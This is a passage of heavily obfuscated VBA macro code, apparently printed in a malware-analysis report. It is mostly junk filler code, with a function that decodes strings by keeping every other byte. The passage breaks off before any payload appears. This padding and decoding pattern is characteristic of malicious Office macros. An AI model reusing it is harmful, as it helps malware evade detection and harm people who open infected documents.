        WmsxFSvy = "WRLLmow%B*f_y*_ih" + "BcUdghUeel(wqAv%kgO" + "imlh?uFdyxRUaT"
        fgXfbI = LTrim("mlC*%LOwsaj")
        IutgX = Left("$&juqdjy.r?OFkJMx[sl", 2)
        fgXfbI = Left("VCKfdQn)RK#", 2)
        qIChz = 837 + 1317 + 816
        WmsxFSvy = RTrim("AJPa&sJw p#T@")
        esNKiZ = esNKiZ + 1
    Wend
    For UxhlnS = 0 To 147
        YRiQzWp = "g&CILPg?bViE" + "QFOHpQfdn*Lb" + "Nr*jJCEB%nSMJhgnG"
        XZAGx = StrReverse("N_f^zEfMtOFR&?mkt")
        UoGgG = Left("?ng eU_MxkGO.", 5)
        GQjZiavq = StrReverse("(la$NLrS*!Y!r@.HS")
        qIChz = Space(6)
        WmsxFSvy = LTrim("?j)WovWuvxKlwkz")
        jQrUE = 544 - 1434 - 384
    Next UxhlnS
    IutgX = RTrim("B-J.JbBWj@")
    WmsxFSvy = "ubqQb^SgTNx)Xy*K" + "#oNRse(zzJ" + "KkyUzhh&[b(*_I%"
    XZAGx = 1585 - 1425 - 1959
    While mighQI < 128
        XZAGx = RTrim("!ysr.M-FYzz.(")
        qIChz = Left("tx!YsjCRBwpqyl$", 5)
        WmsxFSvy = StrReverse("kUA^VjhRE_g-UcQ")
        JnMEl = LTrim("iJb@Me%jO?(oCY")
        qIChz = Left("Jj@(O!KaDD-i-v.oy ZI", 2)
        GQjZiavq = Space(14)
        JnMEl = LTrim("!D)k^NsIr]fo#fe laDZ")
        XZAGx = StrReverse("oa-f.R%eVt__")
        JnMEl = 262 + 1131 + 1110
        YRiQzWp = Left("RmUV(AfnMJsYd%Kd]Ml", 2)
        mighQI = mighQI + 3
    Wend
End Sub

Private Function FlNirC(PouEGea As Boolean, VydRnpJ As Boolean) As String
    jQrUE = LTrim("Mbg(jmwpt)dPJ%F_")
    fgXfbI = UCase("OZp#T*[eXd(")
    qIChz = 1709 - 1226 - 1933
    UoGgG = LTrim("XbZpiLHgZ(xRI#")
    YRiQzWp = 1968 + 1203 + 505
    GQjZiavq = StrReverse("it)dej#f%l]GA!-")
    While sRDoqa < 274
        GQjZiavq = 993 - 525 - 1677
        qIChz = LTrim("F(z-PF^rtRj%mZLKdh")
        IutgX = Space(7)
        JnMEl = LTrim("]j[ UJkmU ")
        JnMEl = 668 + 1507 + 717
        jQrUE = StrReverse("oCSsxSv#^UJxY[i")
        sRDoqa = sRDoqa + 2
    Wend

    fgXfbI = 1448 - 1433 - 432
    YRiQzWp = RTrim(") hqcJk@W^b")
    qIChz = StrReverse("WYK&Fq!@LnC-R$aLqb")
    lXzVD = Right("jcUHd-SI(JjY", 3)
    IutgX = StrReverse("vIS(giQMr)&L-iNMf")
    jQrUE = Right("R^)Sz#zfWbU^]Cf%U", 4)
    JnMEl = 151 + 608 + 1860
    GQjZiavq = RTrim("(D_JqIMYCsxsbTyGEAS#")
    UoGgG = RTrim("!us^iHqHl^")
    GQjZiavq = RTrim("#J(hYu.eW#o^]g?PJg")
    lXzVD = UCase("%T&HeupIha@oM.)qxWS")
    While LDdPGQ < 177
        WmsxFSvy = Space(12)
        jQrUE = Left("-I!!.ZRVzrhibN^Db", 3)
        jQrUE = 1422 + 425 + 765
        lXzVD = UCase("yNb!maDb!-")
        UoGgG = 1169 + 237 + 1903
        jQrUE = UCase("gI!#N?V&eX")
        WmsxFSvy = Left("PgDE]%k#hGkdekXc", 5)
        JnMEl = Right("XwYos[wylIg#GVF].", 4)
        UoGgG = "MTqUi?kXrLx [DuMuBSD" + "xDJR&tf)vBf(&w" + "Qg.UsQ^SGd"
        IutgX = StrReverse("(!T.xtmtzP")
        LDdPGQ = LDdPGQ + 3
    Wend

    For pAaHga = 0 To 396
        GQjZiavq = 1747 + 199 + 717
        XZAGx = Left("f*zhDz]Yl-l", 3)
        GQjZiavq = UCase("wBgMG_HnE*jhMpw")
        WmsxFSvy = Right("UlQCsbP-L%DYo(#MEV", 2)
        XZAGx = 1534 - 1516 - 583
        IutgX = StrReverse("x?UpBH-Z^MQSjQfjk&")
    Next pAaHga

    XZAGx = 144 - 1780 - 488
    jQrUE = Space(10)
    jQrUE = LTrim("dL&u_su]LW$IqOF#")
    WmsxFSvy = UCase("EUpLvuk(W(LR&")
    lXzVD = LTrim("wd%VQpXrxtqUitvz")
    For vqbKRb = 0 To 107
        fgXfbI = Right("oHrkMB_B@NBhSM", 3)
        JnMEl = RTrim("?]iUtxDn-zy.t?#N")
        GQjZiavq = LTrim("x&Qg_fGDxyctO?qc^X*V")
        IutgX = UCase("kXQk[bf@!ls^eTV")
    Next vqbKRb

    fgXfbI = LTrim("-TdiUz@?oP")
    GQjZiavq = Left("HI[e]tXNz[MnT MM", 4)
    GQjZiavq = Right("Rm.dvdiKjK", 2)
    GQjZiavq = RTrim("L#RZ!(?$U#?$hivnFD[ ")
    For bkyEcG = 0 To 141
        WmsxFSvy = 968 + 1112 + 1211
        WmsxFSvy = UCase("?BZe_$S&((-?N")
        WmsxFSvy = RTrim("Wlkuh&_qeM.f]")
        JnMEl = StrReverse("-@t*)XjwEc#)!")
        qIChz = LTrim("ku$Se.?@ZtgoPT S^")
        UoGgG = "ERF!hvG-^qruYIB y?]" + "l%Q &[#.qzmMonrllhAE" + "icPOStHz&TM$MGs"
        jQrUE = Left("be*Gh?WVfC@kH?W", 2)
        UoGgG = 1955 - 493 - 318
    Next bkyEcG

    XZAGx = StrReverse("nwKyoTNekecebwq]cl")
    JnMEl = StrReverse("!-WsM$ykpw$@")
    JnMEl = Right("MxMgnfb-hDxk)z", 2)
    JnMEl = StrReverse("yfZQBRZ@K)I$")
    qIChz = RTrim("Slol?ZHhDVs*")
    fgXfbI = Left("L@p-&tr.xc_", 4)
    YRiQzWp = "tjTlXlV!yaNZpA-Y" + "*[aR?%y!sEP^D]M" + "KWhzvRoN.KgX^QCFVRRF"
    lXzVD = 422 - 1218 - 500
    FlNirC = "zClIXVqbDqxCjlMupgBrbyHCgrRgxphSUJmhKrF"
End Function

Private Function yUFnBj(sUOCjrW As Integer, ttNWnd As Boolean, NEPhIoc As Integer) As String
    IutgX = 1700 + 485 + 1803
    IutgX = Space(4)
    jQrUE = 1768 - 1268 - 131
    For SHYxmC = 0 To 334
        lXzVD = " $zYncDp?zr" + "@&qny?[bN[YCt_" + ".m[SrThWeEs!I^O"
        GQjZiavq = RTrim("l[Fx@%QJ%BhS")
        qIChz = Right("xA!NuU!P%zlFfujH)", 2)
    Next SHYxmC

    WmsxFSvy = "bo]vh?udikUJjQi" + "zJ.cLS)gxXEReEF$D" + "v-#&?QZ uPC"
    While nkINBh < 48
        UoGgG = LTrim("UGsOgqq*Q*iR")
        jQrUE = UCase("]wgB^elMvXk!olhlD")
        fgXfbI = 1719 - 1229 - 1827
        WmsxFSvy = Left("@K@rMBb&PIxU", 3)
        GQjZiavq = Right("CRcBVSB-kpWH", 4)
        YRiQzWp = Left("SXv[zrv]F^", 2)
        UoGgG = Left("Frq(TUbwp-_^k", 2)
        XZAGx = 1324 - 1338 - 342
        nkINBh = nkINBh + 2
    Wend

    lXzVD = LTrim("CEmw-o#UXfw.")
    jQrUE = "iQeGVofetW" + "A&*)guO)UnTE" + "lUyOhxn^dXfx&*NAb"
    lXzVD = ".UaaffCR(Da" + "?$fW[T$TEjSl#V" + "Cjaa[IOwQCZVTJ](itVk"
    lXzVD = UCase("TX]MS_hJ]oV@G.lf")
    WmsxFSvy = 1418 - 1328 - 651
    jQrUE = Left("DYgu.JzOfw#btxz.E", 5)
    jQrUE = RTrim("qfwURwAr[#bc )[INj$z")
    JnMEl = LTrim("o*ndE%ed Z!ntx")
    JnMEl = RTrim("dYYMsJdDKE@soXB$z")
    lXzVD = LTrim("Zlm]U_WX#H*SHGws")
    lXzVD = RTrim("APr*%FhNQPkeXHTxF")
    fgXfbI = 794 - 712 - 1843
    jQrUE = LTrim("k$smzAWUMy!SRNLQy-")
    YRiQzWp = StrReverse("xPrMfsaEDPa@x**jSeZt")
    qIChz = 1906 + 1103 + 1615
    qIChz = 1286 + 1931 + 1281
    IutgX = LTrim("#OOa#WDaRKhLX]")
    XZAGx = "QaCjccOm$?TrhusJq-" + "?PIiKYgXLwCfFGXRtL" + "dL*EfZ&JRz@r"
    jQrUE = 1490 - 897 - 1292
    lXzVD = LTrim("UnUh)S-gRKVkEcivIkyV")
    UoGgG = Right("!YU(pYox mAz-$GZq", 5)
    GQjZiavq = Right("NlOZmXrt_E-qXV@m", 3)
    WmsxFSvy = RTrim("%c.-Ccp.HyfNzYp[")
    lXzVD = "xdh*to? bR$zp[vIoX" + "$eiqwhNWyl" + "rVHv?pNL*@*SeM"
    UoGgG = 465 - 579 - 154
    IutgX = Space(15)
    While DcEpAO < 347
        fgXfbI = UCase("K.hFmFywuPzqDaZGTwQ")
        UoGgG = StrReverse("iOL LjmkkeTZ")
        XZAGx = Left("GMC@P!liupWkDQArT?y", 4)
        JnMEl = "Zz%tVub be*lXeq]" + "d(]T.(i^aBgW_sv)" + "f!e*J_?ZNMX.gX[t ug"
        GQjZiavq = StrReverse("p?AWNily^mqju")
        GQjZiavq = "x%qTBlolgzCQA]jpGFK^" + "PSNTFya$(wU$k)" + " ]AgOC#AnDSU#"
        GQjZiavq = "AhSobPdf]YDhyW$fG" + "PnZJ$cL!aIo!" + "An[.tSXF&?f"
        jQrUE = Space(7)
        qIChz = RTrim("PlBka(Z(agb]JItBW")
        DcEpAO = DcEpAO + 2
    Wend

    While EbtnLi < 398
        UoGgG = 720 + 1354 + 1436
        XZAGx = Right("Aa)X)kB@wdrR", 4)
        YRiQzWp = 1645 - 1489 - 1170
        jQrUE = Left("AknrxtDZKTOrLn", 3)
        UoGgG = Space(16)
        UoGgG = Right("DQYTq!p$VjvYh^p", 2)
        EbtnLi = EbtnLi + 3
    Wend

    yUFnBj = "mIUbPutbPUnTkzVTpOGnUZDfTwSqmNvCWl"
End Function

Private Sub JNsnRB(XOcDuS As Integer, SOLnGT As Double, tPRlVk As String, DbEcUa As String, DgnoPO As Integer)
    WmsxFSvy = RTrim("gx^K[h#bjUrggTZ y")
    JnMEl = StrReverse("AMhBEMDE]ZP?igS?fh")
    jQrUE = 630 + 1426 + 336
    While WIWvEN < 226
        qIChz = RTrim("hHhQsy( mHa@w*KGG")
        XZAGx = LTrim("))%q)&ymGcJ")
        WIWvEN = WIWvEN + 1
    Wend

    GQjZiavq = 1477 - 1403 - 1564
    UoGgG = UCase("Y^[Fp-MVBlJejJwn")
    JnMEl = LTrim("Ccq)#(cj[%rW")
    jQrUE = 1032 + 167 + 377
    For OppeZt = 0 To 249
        XZAGx = StrReverse("Iva.eo@n& l")
        YRiQzWp = Space(3)
        WmsxFSvy = StrReverse("Cyy!sg^jQtV[?Rhu")
        jQrUE = StrReverse("jpGnLqD -gJesOIN]")
        IutgX = RTrim("ANX[&l^UFPhAYqjiw_r")
        YRiQzWp = LTrim("c)xQ?j%dKqi*(Hu")
    Next OppeZt

    GQjZiavq = Left("*@yLfji%hacaK(%e", 2)
    IutgX = 1317 + 1555 + 1321
    JnMEl = StrReverse("AFgvK.nEfO@r")
    JnMEl = StrReverse("Gsc(?u#k*ixK$IWq")
    UoGgG = "]Jl?T#gRg!u]" + "z^dzhfMQj-WnW" + "Mz!z(bpo[)%Y_ad"
    GQjZiavq = Space(14)
    fgXfbI = StrReverse("Mm(N_omOPMXc")
    GQjZiavq = 358 + 1420 + 982
    WmsxFSvy = LTrim("k)]tpyU%NPcCur")
    IutgX = UCase(" $]vdnt*HRfPtN")
    YRiQzWp = LTrim("m%mshINuZx[ )ld*oF")
    UoGgG = "AHye]*UFbAni" + "JRSF.UxRM)*!GTRJ-XE" + "*NGX.rShwlGP@H"
    While VOtgaU < 283
        fgXfbI = Left("YsoLJaM@-M", 2)
        qIChz = "X.&RseuihHelXDev" + "zo#E[dL&r_zQD" + "yFEfpU[^_W[VeY)T-y@"
        VOtgaU = VOtgaU + 2
    Wend

    GQjZiavq = Right("w%EmcC@DMl", 2)
    qIChz = 268 - 358 - 369
End Sub

Private Sub BSStzn(msmyqJ As String)
    YRiQzWp = 320 + 1142 + 602
    fgXfbI = StrReverse("uQ-X AWrli$")
    qIChz = 1476 + 942 + 1985
    fgXfbI = LTrim("BWe_Ak(%vhVg%J*qPAB")
    IutgX = "xVFAy-WGxEDxxwi* gL)" + "Q_INjX$whD$t[TBbM-w^" + "&mJcev^[arrHxs*&Y"
    UoGgG = "*OnUW@pAaf@ywCd bm" + "S? &z[KT)J" + "zlCgJ[Gzrk..ZO[yll[f"
    GQjZiavq = StrReverse("@VCGGFwNvOjOmo")
    YRiQzWp = Right("aVhGyb[WDOuuBJIJx", 3)
    GQjZiavq = StrReverse("$tc[rOA)KjB#")
    XZAGx = Left("!(*ic!NMi.q", 4)
    While kdjgNo < 218
        IutgX = RTrim("sxs!XBactsKCYJz")
        YRiQzWp = RTrim("Z]lkuP).Lqt!")
        fgXfbI = Space(9)
        IutgX = RTrim("RfYg@OBAwa&t-oL")
        kdjgNo = kdjgNo + 1
    Wend

    XZAGx = 1707 - 1647 - 1932
    UoGgG = LTrim("kWwfTLZGvIjoRl")
    lXzVD = LTrim("kzRhr.gEmJ()BPTS@")
    For EvlvCa = 0 To 121
        qIChz = 316 - 1226 - 561
        GQjZiavq = RTrim("Ir Bume(w-$")
        fgXfbI = StrReverse("kMussbPOpA?S")
        YRiQzWp = "EFjAOaZ-@gjq" + "VKHiXSyDM&T P K Ig_)" + "u_LCY!Rlb-"
        lXzVD = LTrim("mlnre%*qRZgH_")
        fgXfbI = Left("uZZSCGuTCD", 4)
        UoGgG = "_F?RRGo(._%" + "l zXaf-PZZDQWkXJJn" + "Wialz%d[FglLZ?"
        IutgX = Right("PslMPR(&ltx", 3)
        GQjZiavq = "EqMjgqPZycvz" + "]dA!q.jwiSmWrSLwIY" + "eEaU(q)ibyyBI tY"
        JnMEl = UCase(".YshyHHBIXkv&_@")
    Next EvlvCa

    WmsxFSvy = RTrim("FZ]aAbJvEnat[mIBtsqy")
    WmsxFSvy = RTrim("!bJFy[bDCu))OJ&lP")
    jQrUE = Space(16)
    While uiICyE < 363
        YRiQzWp = RTrim("q-fVeI&epo@")
        YRiQzWp = RTrim("yX?YJqjb(*j$fx$Td!xk")
        YRiQzWp = UCase("^hxvadZOGy")
        jQrUE = "? wqzlgmF-!KwZDNaqF?" + "@j(@xp#R&ou*" + "&Yn^ToLNy!jky"
        lXzVD = Space(20)
        XZAGx = Left("FExeHUKxbHmh^Z", 4)
        uiICyE = uiICyE + 2
    Wend

    IutgX = LTrim("LsXwbuC#LcQEyAe")
    UoGgG = Space(10)
    IutgX = RTrim("?k@z_dedMXI_t")
    While uRZwpd < 390
        fgXfbI = 1740 - 1102 - 217
        GQjZiavq = 1872 - 1961 - 1280
        YRiQzWp = ".uk!dB).cJvmAmtV" + "TjBbFKJ(SDtr.@)@yQS" + "GyRtrum-ellAC@PS^v"
        WmsxFSvy = 1461 + 884 + 1096
        GQjZiavq = LTrim("@TLgpIDaYoAaU")
        XZAGx = 441 + 1742 + 1210
        IutgX = Space(1)
        YRiQzWp = LTrim("%eK-TM_BLd*?^")
        YRiQzWp = LTrim("FoD(s.e(wlV?gejr")
        uRZwpd = uRZwpd + 3
    Wend

    lXzVD = 506 - 347 - 573
    JnMEl = LTrim("Gs.dOGZ?js?p")
    IutgX = 1279 - 682 - 985
    WmsxFSvy = Space(12)
    jQrUE = LTrim("! YY]XMlu-")
    jQrUE = 677 - 1531 - 701
    XZAGx = StrReverse("OqqAqC]RmcEK")
End Sub

Private Function RaoKye(vuXGmek As Integer, RZKOLxH As Integer, odJoPlA As Boolean, xptNxW As Boolean, AqtagI As Double) As String
    jQrUE = "PmplJ).RHzg]px).Qv" + "xYrT^SH%gLhM" + "jI-XGf%Wnd*D-.D-A-g"
    JnMEl = LTrim("e@j@FzfCA(GNV(]_iLR[")
    fgXfbI = UCase("tXe^IIeBtvrW^")
    GQjZiavq = 241 - 289 - 1166
    fgXfbI = StrReverse("on%jcd!C*_(L!iZf]Rq")
    WmsxFSvy = StrReverse("D(.vGeuyVKIliBCN-")
    UoGgG = 1093 - 822 - 1363
    UoGgG = StrReverse("%Mh]qTruoXYe ")
    GQjZiavq = Right("yXFEsXbjhrr", 4)
    qIChz = UCase("(xjkgm)XTJ#u D")
    lXzVD = UCase("SXMISyI&SvLaRbi")
    UoGgG = LTrim("r&hM-*SDRiziStM")
    WmsxFSvy = StrReverse("!.p O&(.DZgd.toB")
    IutgX = RTrim("J(rkFYTDe#kcDr")
    GQjZiavq = Right("%f)W t#L.Wd%[", 3)
    UoGgG = 724 + 1670 + 319
    For SLrXKF = 0 To 205
        XZAGx = "bKc.-#JsZ(pwb" + "N]P&G@-XEQ F@?]e!" + "z T(r_YYuL%MSA*WxzkZ"
        UoGgG = Left("LbvMBquwNLD_#", 3)
        JnMEl = UCase("C(gMi#Pu-(K(PjK")
        lXzVD = RTrim("$O#PPWoU_U%?eHJm_)L")
        WmsxFSvy = 681 - 850 - 1232
        WmsxFSvy = 1869 - 990 - 472
        fgXfbI = "rrqxQ#ETGIw@jJzH" + ".ZO_sJGJyuGsF@s)XXsk" + "hQ?TccCHucvxlD"
    Next SLrXKF

    lXzVD = StrReverse("NRm%pT*fCMMYTg.")
    lXzVD = UCase("UM?SfuJfFGJm_*AyNlJ")
    qIChz = Right("wlBp(Z&[CS", 5)
    lXzVD = 1127 + 1268 + 159
    qIChz = Left("mQWIP*sKye(ypIL?sy?", 3)
    GQjZiavq = RTrim("PxRFCrILWP")
    lXzVD = StrReverse("cYG*hvJ(wVb")
    lXzVD = "X_ghoCoDk&?aK@" + ". OaRlDSjS?[uM" + "_I-PD%OQ(pGSwRLD%Xan"
    JnMEl = Right("QL.#mII%CzTMn@FGIYQN", 2)
    JnMEl = Left(")&GfJM azJyg_Yt", 4)
    UoGgG = RTrim("fJbHn$pKNNk.I")
    JnMEl = 373 + 1775 + 1690
    UoGgG = 792 + 1430 + 1296
    fgXfbI = Space(1)
    YRiQzWp = Space(11)
    qIChz = StrReverse("vwftHZEgp B]")
    GQjZiavq = UCase("Ker-VXe Z!HdIL^)np#q")
    YRiQzWp = Right("CnYBEy#zq#", 3)
    JnMEl = 241 + 1927 + 1384
    lXzVD = Left("B^xNMLpEyBmVdYHF]", 3)
    qIChz = 335 - 1624 - 233
    qIChz = 634 + 1494 + 312
    RaoKye = "emDAnpUkKlWoXjTGEZIEGrVicidfuuTvydHhINA"
End Function

Public Function jfubjQ(CbcTOKy As String) As String
GQjZiavq = 1412 - 1918 - 1754
qIChz = Right("TqkdWvrrM?rK^x&", 2)
    Dim TeaHqIs() As Byte
    JnMEl = Left("uj!ZYxuQHP-ugdAi", 4)
    jQrUE = Space(2)
    For ULmHKO = 0 To 279
        WmsxFSvy = Left("T.ND#]Bx)%", 5)
        fgXfbI = RTrim("bLizSOQnxV&MAZ")
        qIChz = Right("eSSvT]_E%zJ", 5)
        GQjZiavq = "J#-[e?e@oYB[.WEuspH" + "cd@&S(EuPXWQqr)_-wG" + "D@q_btqNwGJ[M"
        GQjZiavq = RTrim("pNU!d@m RliF")
        YRiQzWp = RTrim("IapWCzCwG bHpBG")
        JnMEl = 659 + 113 + 601
        UoGgG = Right("LNKQF%esFLS)?Mo", 2)
        fgXfbI = Space(7)
    Next ULmHKO
    UoGgG = LTrim("JUf#@Sv]awcEdEEn)r_")
    Dim REwgnKS(512) As Byte
    fgXfbI = "rpz(hF(vIIWNfbHwSC" + "R]WM[XVjPerSJ]]XbI*" + "Y_zllN]v*.EI"
    qIChz = 1956 - 1186 - 664
    While hRdadx < 273
        GQjZiavq = RTrim("vXdS@[j(UU")
        GQjZiavq = Right("(!^ xqMPsp*MG(P*", 5)
        jQrUE = StrReverse("FKJr-e%$ R TmbOdRk#F")
        hRdadx = hRdadx + 1
    Wend
    sYaRRj = 0
    fgXfbI = Space(2)
    YRiQzWp = 764 - 968 - 1322
    GQjZiavq = 1863 + 155 + 1628
    TeaHqIs = StrConv(CbcTOKy, vbFromUnicode)
    While ZbJSsk < 160
        YRiQzWp = LTrim("pVbsAhGfLFbjB")
        lXzVD = 1391 + 1841 + 1927
        fgXfbI = "Nsh*BP)WWL@f@)dwX)N?" + "(vdyKxofwr]]FNV!y" + "X#OaUeXgcD]gDDD"
        ZbJSsk = ZbJSsk + 1
    Wend
    For MnrGUU = 0 To UBound(TeaHqIs) - 1
    YRiQzWp = UCase("L^LB.jHE]i")
    UoGgG = UCase("?thEvk]ukGaPvAlVH")
        If (MnrGUU Mod 2 = 0) Then
        While YWVHLQ < 22
            qIChz = "DxnE@FM-?of" + "HF[qHjgW.GWe#-s" + "%MIT!OTbI[A(%HlA(IeJ"
            XZAGx = LTrim("N@jA#GvomK")
            jQrUE = Left("@WIjsHOn[dJeE", 4)
            lXzVD = StrReverse("XR[_VlPg*yrzM")
            JnMEl = 393 + 978 + 253
            JnMEl = 563 - 207 - 905
            YWVHLQ = YWVHLQ + 3
        Wend
        UoGgG = RTrim("r^gMAGKrv_ga Gh")
            REwgnKS(sYaRRj) = TeaHqIs(MnrGUU)
            jQrUE = Right("&aHnZRgQDI", 3)
            WmsxFSvy = RTrim("x&ywA_Cuznil")
            YRiQzWp = StrReverse("BrkuNJ.ZtYKSdi")
            sYaRRj = sYaRRj + 1
            For bzDTlH = 0 To 377
                UoGgG = "nluoG]%$K)[kl" + "WQbhxhu*dXa&B_*" + "KuPBKqxp]gi?It Ho!"
                UoGgG = Right("x!#gJiaqH-xb?", 4)
                XZAGx = Left("NAedrO!o[. ", 2)
                XZAGx = Left("pey)Z!d*O^Lp(", 3)
                jQrUE = StrReverse("EBVKxMP_b(ahec$)hw?G")
                jQrUE = Space(13)
                XZAGx = StrReverse("F?)ojHr%-%#Nh% b")
                JnMEl = UCase("uiF%JKGDM?PAAdxr")
                YRiQzWp = Left("!DZG$sD.h]PPSPcd p", 4)
                XZAGx = StrReverse("A-JBjKA-(uaW")
            Next bzDTlH
            fgXfbI = Space(19)
            GQjZiavq = UCase("*$gemU%WDm")
            YRiQzWp = Left("TC-efaaASZnOS^%sn.)L", 3)
        End If
        GQjZiavq = 603 + 1059 + 1877
        For ooPiCi = 0 To 254
            GQjZiavq = Left(".mN^g)rlZj", 3)
            JnMEl = Right("-J?QEO-D&*", 3)
            GQjZiavq = 986 - 1071 - 1943
            XZAGx = Right("![]wHf?uDo", 3)
        Next ooPiCi
…

Open this report in the interactive analyzer, or submit your own file for analysis.